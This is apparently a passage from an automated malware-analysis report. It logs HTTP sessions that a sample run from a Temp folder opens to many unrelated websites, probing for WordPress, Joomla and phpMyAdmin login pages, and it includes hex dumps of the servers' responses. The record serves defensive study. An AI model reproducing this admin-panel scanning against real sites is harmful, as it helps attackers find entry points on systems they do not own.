78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 46 76 6f 6f 73 38 48 31 7a 39 53 31 35 36 71 49 6b 66 6f 53 4d 31 6d 4e 71 43 4e 6b 39 6b 71 6b 32 4e 30 57 2b 66 56 56 42 61 36 4a 30 47 68 6d 32 39 78 72 73 6c 77 75 33 69 58 4f 52 61 70 50 70 67 2f 32 4a 38 7a 75 6b 5a 2f 43 68 32 79 43 76 74 31 41 49 67 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 70 6e 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 41 45 41 41 41 41 42 43 41 49 41 41 41 43 51 64 31 50 65 41 41 41 41 44 45 6c 45 51 56 51 49 31 32 50 34 2f 2f 38 2f 41 41 58 2b 41 76 37 63 7a 46 6e 6e 41 41 41 41 41 45 6c 46 54 6b 53 75 51 6d 43 43 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_Fvoos8H1z9S156qIkfoSM1mNqCNk9kqk2N0W+fVVBa6J0Ghm29xrslwu3iXORapPpg/2J8zukZ/Ch2yCvt1AIg==" lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"> <link rel="pre
Dec 20, 2023 03:13:22.194627047 CET	551	IN	Data Raw: 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 69 64 3d 22 74 61 72 67 65 74 Data Ascii: connect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiNTgxMzU4ODItMWI2OS00NWI3LWE1NGYtYWU0ZTY4OTk1ZjI4IiwicGFnZV90aW1lIjoxNzAzMDM4NDAyLCJwYWdlX3VybCI6Im
Dec 20, 2023 03:13:22.202083111 CET	551	IN	Data Raw: 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 69 64 3d 22 74 61 72 67 65 74 Data Ascii: connect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiNTgxMzU4ODItMWI2OS00NWI3LWE1NGYtYWU0ZTY4OTk1ZjI4IiwicGFnZV90aW1lIjoxNzAzMDM4NDAyLCJwYWdlX3VybCI6Im

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	53183	15.197.142.173	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:21.676481962 CET	172	OUT	GET /wp-login.php HTTP/1.1 Host: goaeta.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:21.831234932 CET	365	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Dec 2023 02:13:21 GMT Content-Type: text/html; charset=utf-8 Content-Length: 125 Connection: keep-alive Server: ip-10-123-122-234.ec2.internal X-Request-Id: 49ee0353-d9c3-4460-841a-a7a06701c037 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>
Dec 20, 2023 03:13:22.043334007 CET	210	OUT	GET /wp-admin/ HTTP/1.1 Host: goaeta.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://goaeta.com/wp-login.php
Dec 20, 2023 03:13:22.197803974 CET	364	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Dec 2023 02:13:22 GMT Content-Type: text/html; charset=utf-8 Content-Length: 125 Connection: keep-alive Server: ip-10-123-122-40.ec2.internal X-Request-Id: 850be478-8fc7-49b9-83f6-27d1f7e077b2 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	53189	45.56.74.212	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:21.692459106 CET	175	OUT	GET /administrator/ HTTP/1.1 Host: iconcap.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:21.894860983 CET	1060	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 02:13:21 GMT Server: Apache Set-Cookie: ci_session=UTcHNFMzVm0IJFcpAD8POQU0Aj9ScAZ3UWVUIAN1VDsHbVdiBV9aO1EyU3gAbgV3BmsEOgQzBTgFJlAxAGZQZgA1UzBWYlY2AWABbVQyAT9RYwc6U2RWYQg9VzsAYw88BWUCPFJkBjZRNlRnA2BUNgc3VzUFZVphUWdTeABuBXcGawQ4BDEFOAUmUD4AcFANADBTMFY3ViIBYQEpVCIBK1FtB31TPFZmCGpXYAAnDzkFNAI3UnwGNVEyVGoDKFRjBzdXPgUuWmBRZ1NoAHcFPwYiBDMEMAUyBT5QdQB1UCEANFMmVgxWMQFjAT9UPwF9UXQHNVN1Vm0IaVdvAD8PKgVJAmpSKAZtUWxUPwNnVH0HN1ciBTBaclF%2BUw0APAVqBjUEZgR2BXEFJFAZAFRQcgBnU3pWY1ZrASQBKFQnATNRZQc6UyhWZwh2V3oAQg9tBWcCblI9BitRMlRjAzdUYgcyVz0FMFpjUXZTHAA8BXYGNARvBG4FegUrUGQANFB8AGFTdlZoViMBPgFrVGIBM1F0B2JTZ1YkCCtXBQBkD2sFcAJsUiQGbVF0VCoDJFRpB2tXNgUxWmVRZlNpAGUFNwZpBD0EMQUzBT9QJAA6UGsAa1N2ViZWIwFhAShUDgFtUTcHelNnVnUIZFcpAD8POAU%2BAidScAY%2FUX0%3D; expires=Wed, 20-Dec-2023 04:13:21 GMT; Max-Age=7200; path=/ Cache-Control: max-age=0, no-cache, no-store, must-revalidate Pragma: no-cache Expires: Wed, 11 Jan 1984 05:00:00 GMT Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 31 32 0d 0a 41 43 43 4f 55 4e 54 5f 49 44 20 6e 6f 74 20 73 65 74 0d 0a 30 0d 0a 0d 0a Data Ascii: 12ACCOUNT_ID not set0
Dec 20, 2023 03:13:22.043334007 CET	933	OUT	GET /administrator/index.php HTTP/1.1 Host: iconcap.com Accept: / Accept-Encoding: deflate, gzip Cookie: ci_session=UTcHNFMzVm0IJFcpAD8POQU0Aj9ScAZ3UWVUIAN1VDsHbVdiBV9aO1EyU3gAbgV3BmsEOgQzBTgFJlAxAGZQZgA1UzBWYlY2AWABbVQyAT9RYwc6U2RWYQg9VzsAYw88BWUCPFJkBjZRNlRnA2BUNgc3VzUFZVphUWdTeABuBXcGawQ4BDEFOAUmUD4AcFANADBTMFY3ViIBYQEpVCIBK1FtB31TPFZmCGpXYAAnDzkFNAI3UnwGNVEyVGoDKFRjBzdXPgUuWmBRZ1NoAHcFPwYiBDMEMAUyBT5QdQB1UCEANFMmVgxWMQFjAT9UPwF9UXQHNVN1Vm0IaVdvAD8PKgVJAmpSKAZtUWxUPwNnVH0HN1ciBTBaclF%2BUw0APAVqBjUEZgR2BXEFJFAZAFRQcgBnU3pWY1ZrASQBKFQnATNRZQc6UyhWZwh2V3oAQg9tBWcCblI9BitRMlRjAzdUYgcyVz0FMFpjUXZTHAA8BXYGNARvBG4FegUrUGQANFB8AGFTdlZoViMBPgFrVGIBM1F0B2JTZ1YkCCtXBQBkD2sFcAJsUiQGbVF0VCoDJFRpB2tXNgUxWmVRZlNpAGUFNwZpBD0EMQUzBT9QJAA6UGsAa1N2ViZWIwFhAShUDgFtUTcHelNnVnUIZFcpAD8POAU%2BAidScAY%2FUX0%3D User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://iconcap.com/administrator/
Dec 20, 2023 03:13:22.259201050 CET	290	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 02:13:22 GMT Server: Apache Cache-Control: max-age=0, no-cache, no-store, must-revalidate Pragma: no-cache Expires: Wed, 11 Jan 1984 05:00:00 GMT Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 31 32 0d 0a 41 43 43 4f 55 4e 54 5f 49 44 20 6e 6f 74 20 73 65 74 0d 0a 30 0d 0a 0d 0a Data Ascii: 12ACCOUNT_ID not set0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	53236	13.248.169.48	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:21.693768978 CET	172	OUT	GET /administrator/ HTTP/1.1 Host: bvox.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:21.845141888 CET	948	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Wed, 20 Dec 2023 02:13:21 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Location: https://bvox.com/administrator/ X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_JRDwp5DgAqtZHOpgNQj/QFbBlVNvqgjbGxwOwMvGZmkEJmKR2Uyj7gavtZ3Ue/6sebxV60JTE+bymwdlQfPUvw Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: expiry_partner=;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>
Dec 20, 2023 03:13:22.049763918 CET	948	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Wed, 20 Dec 2023 02:13:21 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Location: https://bvox.com/administrator/ X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_JRDwp5DgAqtZHOpgNQj/QFbBlVNvqgjbGxwOwMvGZmkEJmKR2Uyj7gavtZ3Ue/6sebxV60JTE+bymwdlQfPUvw Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: expiry_partner=;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	53340	13.248.169.48	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:21.726558924 CET	179	OUT	GET /phpmyadmin/ HTTP/1.1 Host: filmboxstudios.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:21.878612995 CET	955	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Wed, 20 Dec 2023 02:13:21 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Location: https://filmboxstudios.com/phpmyadmin/ X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_dV4p3s1imHiMwQaBshk9GRYM6anWDfUO731frq4kC1W3l/d/SXUEQ8aXEl9Xke4Nu+8100pu1IWSFW6HpCFbFA Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: expiry_partner=;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>
Dec 20, 2023 03:13:22.085760117 CET	955	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Wed, 20 Dec 2023 02:13:21 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Location: https://filmboxstudios.com/phpmyadmin/ X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_dV4p3s1imHiMwQaBshk9GRYM6anWDfUO731frq4kC1W3l/d/SXUEQ8aXEl9Xke4Nu+8100pu1IWSFW6HpCFbFA Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: expiry_partner=;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	53319	3.33.130.190	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:21.726562023 CET	170	OUT	GET /phpmyadmin/ HTTP/1.1 Host: ornos.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:21.877348900 CET	948	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Wed, 20 Dec 2023 02:13:21 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Location: https://ornos.com/phpmyadmin/ X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_bL3YTideDcLa2qjRTSvMdYiDLCrc5AQ6NmwIQvP6yULWU1axzviROUDpdCr0PXTXzk6gzCAoMEuoDprbYhXBzg Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: traffic_target=gd;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>
Dec 20, 2023 03:13:22.083592892 CET	948	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Wed, 20 Dec 2023 02:13:21 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Location: https://ornos.com/phpmyadmin/ X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_bL3YTideDcLa2qjRTSvMdYiDLCrc5AQ6NmwIQvP6yULWU1axzviROUDpdCr0PXTXzk6gzCAoMEuoDprbYhXBzg Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: traffic_target=gd;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	53311	162.255.119.149	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:21.735683918 CET	178	OUT	GET /administrator/ HTTP/1.1 Host: soytijuana.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:21.874876022 CET	317	IN	HTTP/1.1 302 Found Date: Wed, 20 Dec 2023 02:13:21 GMT Content-Type: text/html; charset=utf-8 Content-Length: 62 Connection: keep-alive Location: http://www.soytijuana.com/administrator X-Served-By: Namecheap URL Forward Server: namecheap-nginx Data Raw: 3c 61 20 68 72 65 66 3d 27 68 74 74 70 3a 2f 2f 77 77 77 2e 73 6f 79 74 69 6a 75 61 6e 61 2e 63 6f 6d 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 27 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href='http://www.soytijuana.com/administrator'>Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	53341	104.143.9.211	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:21.763892889 CET	176	OUT	GET /wp-login.php HTTP/1.1 Host: meltonhome.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:21.935594082 CET	1031	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 20 Dec 2023 02:13:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAMLl0RJYcDS0N2xIgi01rOAcEtvCUTUq+IuNz5PA8eXYsfPLRkgnNehO+NbOZAlLoQnSpB5rXuRxRCTF+T1iU9sCAwEAAQ==_FzrU0O/DzPHwhUHqvo1zsrZd6OYhY/CKmMbfkIpM4HkqpULVsnDaZNpBRyCVeu0ugpO2Xos2NXdjGtQoX27wGQ== Content-Encoding: gzip Data Raw: 32 33 66 0d 0a 1f 8b 08 00 00 00 00 00 00 03 5d 52 5d 73 a2 30 14 7d f7 57 64 99 d9 a7 56 82 b6 ee 87 a2 33 08 b6 6a 15 fc 80 ae fa b2 13 49 84 28 24 34 44 a8 3a fd ef 0b 62 77 66 f7 e9 de 9c 7b 72 ee bd 67 ae fe c5 72 4c 77 3d 1b 80 a1 3b 9d 80 99 d7 9f 8c 4c a0 d4 21 fc f5 60 42 68 b9 56 55 78 54 b5 06 70 05 62 29 95 94 33 14 41 38 b0 15 a0 84 52 26 6d 08 f3 3c 57 f3 07 95 8b 00 ba 0b 18 ca 38 7a 84 11 e7 29 51 b1 c4 4a af a6 97 10 c0 48 a2 3a c2 db 88 fb 87 03 39 75 95 e9 53 9e 5b f3 f5 f8 85 6f 46 61 e6 db c6 7c d0 ef cf 0d 6b 99 1b f9 d2 18 f7 8d e9 24 d2 16 e3 b5 6f 2d 35 bb f9 3e 0a a8 d6 10 8e e1 0f 64 66 7a ae f7 76 37 3a da e7 d6 cc f8 41 56 eb 74 37 9b 2c 0e 01 b3 49 e8 dc d9 5b 67 63 44 13 3e 67 cb a4 df 12 ab e3 e2 7d 61 ba 4f 77 6e 83 7a 3f 53 d3 c8 07 86 31 ef 76 7f 3f 9d 85 a7 39 d0 3a cf 86 79 e8 0d df 32 de 38 a7 62 83 bf 39 eb 70 0d cd 97 78 ba dd 1d 46 c9 f4 71 78 78 4b bc c9 6b ca 2c b4 b1 93 fe e2 64 be 92 a3 76 0c 12 a7 b9 e2 69 d3 5e e1 fd b3 9c f3 55 f3 7b fe 5c 08 5f 57 26 08 17 41 52 19 91 5e 4c 22 c9 59 c8 63 a2 fa 3c 06 48 02 8b 0a e2 4b 46 7d 1d 56 94 9a 9e ca 53 19 4b af ee c1 96 e3 d3 3d a0 3b 81 62 02 2e 31 12 01 65 6d ad 93 20 8c 29 0b 8a 6c cb 05 26 a2 48 76 9c c9 7a 4e 68 10 ca 36 65 21 11 54 56 d8 55 ef 3f 88 9e 49 bb a1 69 5f ab e7 0e c5 34 3a fd a5 64 44 48 ea a3 a8 8e 22 1a b0 f6 16 a5 24 a2 8c 74 3e 6e 33 61 9a 81 4b 58 75 ba 8a 7c d4 ca 31 2f 25 a9 fe 89 ab ad ce bf 14 1d de 16 d3 e1 cd 93 f2 53 11 4a 39 8a bb 4a 82 84 64 44 28 a0 a7 c3 02 2b 9d f0 05 4d 24 90 a7 84 74 15 49 de 25 dc a3 0c 55 a8 02 22 c4 82 23 0a 8a d2 b8 40 97 37 34 15 7e f7 f3 1e b5 96 a6 69 2d 35 e3 1c 73 5e 3a 0e f7 29 bc b5 51 f7 a9 52 34 aa c4 ca a1 6e d3 5c cf b6 57 fb 03 4c 68 dc 0b 12 03 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 